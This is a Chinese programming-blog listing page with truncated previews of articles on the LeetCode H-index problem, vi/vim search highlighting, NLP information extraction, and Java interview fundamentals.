
java算法题每日多道

274. H 指数 题目 给你一个整数数组 citations &#xff0c;其中 citations[i] 表示研究者的第 i 篇论文被引用的次数。计算并返回该研究者的 h 指数。 根据维基百科上 h 指数的定义&#xff1a;h 代表“高引用次数” &#xff0c;一名科研人员的 h 指数 是指他&#xff08;…
阅读更多...
Linux vi/vim编辑器“高亮/取消高亮”显示命令

Linux vi/vim编辑器“高亮/取消高亮”显示命令

背景 在Linux系统的vi/vim编辑器中&#xff0c;高亮可以迅速查找相关命令名&#xff0c;取消高亮适合不需要此功能者 步骤 高亮 在需要高亮的命令名前 “shift #” 例如&#xff0c;我现在需要对timestep高亮&#xff0c;编辑位置定位在第一个字母处&#xff08;绿色&…
阅读更多...
探讨NLP对行业大量数据信息抽取的技术实现

探讨NLP对行业大量数据信息抽取的技术实现

在本文中&#xff0c;为了实现高效的信息抽取&#xff0c;我们采用了一个自主研发的多模态AI的大模型NLP平台。 这个平台的使用过程分为以下几个步骤&#xff1a; 数据收集&#xff1a;我们收集了与项目相关的100条数据样本&#xff0c;这些样本涵盖了各种商品描述&#xff0c…
阅读更多...
JAVA八股day1

JAVA八股day1

遇到的问题 相比于包装类型&#xff08;对象类型&#xff09;&#xff0c; 基本数据类型占用的空间往往非常小为什么说是几乎所有对象实例都存在于堆中呢&#xff1f;静态变量和成员变量、成员变量和局部变量的区别为什么浮点数运算的时候会有精度丢失的风险&#xff1f;如何解…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023